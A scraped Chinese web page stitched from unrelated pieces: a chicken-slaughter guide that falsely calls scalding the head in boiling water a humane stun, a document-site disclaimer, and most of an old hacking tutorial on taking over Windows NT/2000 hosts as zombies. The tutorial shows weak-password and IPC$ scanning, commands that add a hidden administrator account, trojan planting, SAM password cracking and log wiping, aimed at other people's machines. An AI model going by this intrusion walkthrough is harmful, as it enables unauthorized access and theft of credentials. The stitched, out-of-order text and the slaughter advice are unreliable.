- 锅:用于煮鸡。
确保这些工具和材料都已经准备齐全,这样在杀鸡的过程中就不会出现中断。
2. 杀鸡的步骤接下来,我将详细介绍手工杀鸡的步骤:- 第一步:将鸡捆绑起来,可以使用绳子将鸡的翅膀和腿绑起来,这样可以让鸡保持安静,也方便后续的操作。
- 第二步:准备一个水壶,烧开水。
将热水倒入一个大盆或水槽中。
- 第三步:将鸡的头部浸入热水中。
这样做可以让鸡变得昏迷,减少它的痛苦。
- 第四步:在鸡昏迷后,使用小刀迅速割断鸡的喉咙。
这样可以让鸡迅速失去意识,减少它的痛苦。
- 第五步:等待一段时间,直到鸡完全停止挣扎。
然后可以开始处理鸡的肢体和内脏了。
3. 安全注意事项在进行手工杀鸡的过程中,需要注意一些安全事项:- 使用锋利的小刀,这样可以更快速地完成杀鸡的过程,也可以减少鸡的痛苦。
- 在处理鸡的内脏时要小心,避免将内脏弄破,以免污染鸡肉。
- 在烧开水时要小心,避免烫伤。
4. 技巧和经验手工杀鸡是一项需要技巧和经验的工作,下面是一些技巧和经验分享:- 在捆绑鸡时,要确保鸡的腿部和翅膀都被牢固地绑住,这样可以让鸡保持安静。
- 确保使用足够的热水来浸泡鸡的头部,这样可以让鸡迅速昏迷,减少它的痛苦。
- 在割断鸡的喉咙时要迅速而准确,避免让鸡长时间地感受痛苦。
总结手工杀鸡是一项需要技巧和经验的工作,但是只要掌握了正确的方法,就可以轻松地完成这项任务。
通过准备好工具和材料,遵循正确的步骤,注意安全事项,并积累一定的技巧和经验,你就能够快速、安全地进行手工杀鸡了。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
补充一点,大家在连接时可以用2000自带的计算机管理->连接到计算机这样也很方便.
关于其他几种方法,我在这里说明一下
输入法基本上绝种了~~ 不过如果你扫大量的肉鸡也许还有最好用的应该数sql的sa为空,直接用流光连就行了,连上后就可以直接添加帐号等,但是有一点不好有时候会连不上。比如我在学校机房就从来没连上过,估计是我在内部网络,有硬防火墙的原因,我在3389上就连的很好。不过总是玩这个是不会提高的!其次要说明的就是idq溢出与.printer的漏洞,这两个漏洞我不想多说什么,因为很多人都会用但成功不了,我在这里就说说什么情况下可以成功。一般来说,用xscan扫描,如果出现说isapi扩展,那么恭喜你,如果存在这两个漏洞绝对成功,我屡试不爽。因为这两个漏洞都与iis那个破东西息息相关,所以大家不要被别的扫描器的误报迷惑,在安焦的漏洞库有这两个漏洞的详细说明。
当然我们也可以telnet上去运行tlntadmn来修改telnet端口,更隐蔽怎么扩大战果呢?我们仍用ntcmd
ntcmd>net view
......
出来很多机器名,这是和我们的肉鸡共享的
比如有一台是
\\LOVE
我们就
ntcmd>ping -a LOVE
这样就得到了他的ip
初级入门者如何获取肉鸡(跳板).txt54就让昨日成流水,就让往事随风飞,今日的杯中别再盛着昨日的残痕;唯有珍惜现在,才能收获明天。入门者如何获取肉鸡(跳板)
入门者如何获取肉鸡(跳板)
今天我们来讲一讲一些简单的入侵,这篇文章是送给新手的,难的文章我也写不出来~~ 这里讲的方法都是针对winnt和2000的,平台是2000。我只是想送给新手点肉鸡罢了。
nscan在黑白有下! 这两个的界面简单,我就不罗嗦了!我很喜欢superscan.他的扫描准且快~~对单一端口的大规模扫描也很不错,以前大家就是用它来扫3389的!
下面我来介绍流光!!xscan!!和sss!!! 我想大家对流光应该不陌生吧!如果你是新手,先从流光开始!!界面很cool!多亏榕哥~~不过我宁可把流光作为一个攻击的工具而不是扫描的工具xscan则是安全焦点的,他可以半开放式扫描!!
具体我就不说了,大家自己参考说明.
当然,大家也可以放一堆后门上去.
不过我喜欢这样
ntcmd>net use g: \\ip\c$
命令成功完成
这样,我们就把他的c盘映射成了我的g盘。然后我再放个木马的server上去再用ntcmd运行,呵呵搞定~~,玩他没商量!!!
我们还可以把c;\winnt\repair\sam._抓下来,用lc3跑一下 就得到所有用户的密码,或是用木马抓密码!!
罗嗦了这么多,现在我们开始吧~。首先我们来对几个扫描器评点一下什么?你不知道扫描器是什么?我晕~~~扫描器就是扫描的嘛,它可以检测出主机的漏洞!
常见的有端口扫描器,和cgi漏洞扫描器,还有就是象流光那样的大型扫描器,什么都可以扫。我们先来讲一下扫描器的原理!
现在假设你是A,要扫的是B
那么,通常建立3次握手的过程是
扫描的原理讲完了,现在来讲讲几个扫描的工具!!这才是重点,新手哪会关心
那原理啊~~~ 我们先来讲端口扫描器一个端口就是一条路,进入系统的的路!可见他的重要!!
我推荐用superscan和nscan两个都是国外的,superscan的汉化版有问题,建议去www,下载E文版
A--------Syn------->B
A<-----Syn/Ack------B
A-------Ack-------->B
这样就建立了连接,扫描就是建立很多这样的,从而达到了解对方开了哪些端口,哪些服务厉害的扫描器还会进一步探测!但是,这种tcp扫描会留下大量的记录,如果B的网管不是注意文明用语那么他就会开始注意你了!!
好了,这样肉鸡就做好了.什么?你想把他作成跳板? 好的,我们继续来
流光4->工具->nt/iis工具->ipc种植者
添上ip,用户名,密码等
然后点开始
接下来我们再用telnet连上去,去debug snake的sksockserver注意,用ntcmd 不来自安装sksockserver。
而且在扫描上我觉得比流光好!因为我问过sharkstorm,他说流光会在对方主机上留下痕迹,所以我怀疑流光用的是tcp扫描! 所以我现在用大规模扫描时是用xscan而不是流光! 接下来是sss,现在的最新版是3.43,在上有3.41版和注册机.
他是由redshadow开发的,全称shadow security scanner他能扫描很多漏洞,速度也很快,留下的痕迹少,产生报告详细.有时候流光或是国内一些扫描器会误报,这时我常用他来检测.所以,在入侵单一机器时,我用的就是它!!!!
ntcmd>net user
看看,连上了吧~~
我们来添加一个用户名
ntcmd>net user aaa 123 /add
命令成功完成
加到administrators组
ntcmd>net localgroup administrators aaa /add
命令成功完成
我一般会用sss再扫一次
当然,你也可以用你得到的密码去试试,看能不能进去,呵呵
有一次,我"不小心"跑到某教育部门,net view一下,居然和教育局挂钩....接下来出于自身安全,我就停住了,呵呵,中国的政府不能乱搞的~~~
最后是打扫脚印,建议用小榕的cleaniislog,很方便,用法参见说明! 请记住,入侵nt的首选绝对是139,netbios
关于unicode漏洞请参见ncc写的教程
流光是一个很好的攻击工具,他的exploits文件夹和tools文件夹的东西大家漫漫体会,呵呵。不说了,不然天下大乱了!!
总之,98的安全性比2000好,因为98基本上没用 一般来说,入侵98是从139,要改自己的lmhosts文件来达到入侵的目的! 不过我劝新手不要沉迷在我讲的方法中,虽然你能从中的到很多肉鸡,但是绝对不要做简单重复的工作 当有了一定水平后要去玩linux,unix,不然水平不会提高. 我写这篇文章的目的是让大家学习,请不要破坏,若是因此引起的一切后果本人概不负责
所以我们又会用半开放式扫描(syn)
也就是
A--------Syn------->B
A<-----Syn/Ack------B
A------->\\ B
A-connected--?<-----B
这样,由于B一直得不到确认,当然就不会记录ip啦,不过B若是很bt,那么他也会记录任何syn的 ip,那就没办法了!!
好累啊,先喝口茶~~~下面就讲怎样获得大量肉鸡! 这里我推荐用扫描nt弱口令的方法! 当然也许别人会推荐扫描sql的弱口令,但网上的nt弱口令真的比sa为空的要多太多了~~ 我们先打开流光4->扫描->简单扫描->nt/98->IP段开始扫,扫到很多139开了的主机然后ipc主机,右键->探测->远程探测用户然后就会有很多用户和共享被扫出来,其中有可能包括弱口令(参见杀手的流光教程)这里我告诉大家一个秘诀,就是有很多是guest为admin权限的,这些的密码一般为空这是因为这台主机被攻破过,有人留下了后门,这下便宜我们了,先拿来用了再说!